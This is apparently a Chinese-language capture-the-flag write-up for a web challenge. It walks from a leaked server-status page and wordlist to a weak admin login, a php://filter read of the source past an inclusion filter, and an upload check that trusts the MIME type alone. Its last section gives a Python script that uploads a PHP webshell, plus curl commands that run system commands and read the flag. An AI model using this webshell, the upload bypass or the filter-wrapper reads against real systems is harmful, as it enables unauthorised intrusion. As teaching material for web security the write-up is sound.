一、题目概览
二、信息收集
2.1 Apache 状态页泄露
初始端口 20960 的 /server-status 可未授权访问,泄露了内部 VHost、worker 状态和一批被请求的路径:
/hhhhhh /maimaiyeuem /456456 /anhyeu /truong /server-status这些路径后续被证明是字典噪声,但状态页本身说明目标存在配置不当,是典型入口信号。
2.2 备份字典泄露
目录扫描命中 /www.zip(200,1265 字节),下载解压得到 index.txt,是一份弱口令字典,末尾混入了状态页泄露的路径词:
...
anhyeuem
maiyeuem
maimaiyeuem
truong
hhhhhh
456456字典 + 状态页路径 = 出题人暗示后续攻击面。
三、登录突破
3.1 登录页
根路径 / 返回登录页:
<form action="index.php" method="post">
<input type="text" name="username">
<input type="password" name="password">
</form>3.2 弱口令
用 index.txt 中的常见组合尝试,命中:
admin / admin789登录成功后服务端返回 登录成功,正在跳转… 和 window.location.href='pctf',进入 /pctf/ 控制台。
注:
admin789在index.txt的越南语区块附近,说明字典顺序和题目设计有关。
四、控制台与 LFI 分析
4.1 控制台入口
/pctf/ 页面:
<ul class="menu">
<li><a href="?page=about.php">关于我们</a></li>
<li><a href="?page=hint.php">这里有提示</a></li>
</ul>参数 page 直接拼进 include,典型 LFI 点。
4.2 WAF 行为
直接访问非常规值(../、/etc/passwd、uplado/shell.gif)返回:
<p class='error'>非法的文件包含请求</p>但 ?page=about.php、?page=hint.php 正常。说明 WAF 采用白名单/后缀校验,只放行特定文件名。
4.3 php://filter 绕过读源码
WAF 未拦截 php://filter 包装器,用 base64 编码读取源码成功:
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=upload.php解码后拿到关键源码。
五、源码审计
5.1 pctf/index.php(控制台)
<?php
session_start();
if (empty($_SESSION['admin'])) {
header('Location: ../index.php');
exit;
}
header('Content-Type: text/html; charset=utf-8');
?>
...
<?php
$file = $_GET['page'] ?? '';
// 后续为 WAF 校验 + include确认:/pctf/ 下的 ?page= 才是 LFI 点,根目录 /?page= 只走登录逻辑。
5.2 pctf/upload.php(上传点)
define("UPLOAD_PATH", "./uplado"); // 注意拼写 uplado
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg')
|| ($_FILES['upload_file']['type'] == 'image/png')
|| ($_FILES['upload_file']['type'] == 'image/gif')) {
// 移动文件到 UPLOAD_PATH/原文件名
}
}
}关键缺陷:
只校验
$_FILES['type'](客户端可控的Content-Type),不校验后缀、不校验文件头上传目录
./uplado与 PHP 同域,可直接访问文件名原样保留,未重命名
→ 直接上传 shell.php,把 Content-Type 伪造成 image/gif 即可。
六、GetShell
6.1 上传 webshell
import requests
BASE = "http://challenge1.pctf.top:34826"
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0"
# 登录
s.post(BASE + "/index.php",
data={"username": "admin", "password": "admin789"}, timeout=10)
# 上传 shell.php,MIME 伪造为 image/gif
shell = b'<?php echo "PWN:";echo shell_exec($_REQUEST["c"]);echo "END";?>'
s.post(BASE + "/pctf/upload.php",
files={"upload_file": ("shell.php", shell, "image/gif")},
data={"submit": "上传"}, timeout=15)上传成功,文件落在:
/pctf/uplado/shell.php6.2 直接访问执行
uplado 目录允许 PHP 解析(之前 .gif 不执行只是后缀问题,不是目录配置问题),因此无需 LFI 包含,直接访问即可:
curl "http://challenge1.pctf.top:34826/pctf/uplado/shell.php?c=id"
# PWN:uid=33(www-data) gid=33(www-data) groups=33(www-data)ENDRCE 成立。
6.3 找 flag
?c=ls -la /
?c=find / -maxdepth 3 -name '*flag*' 2>/dev/null
?c=cat /flag最终读取 flag 文件得到 flag{...}。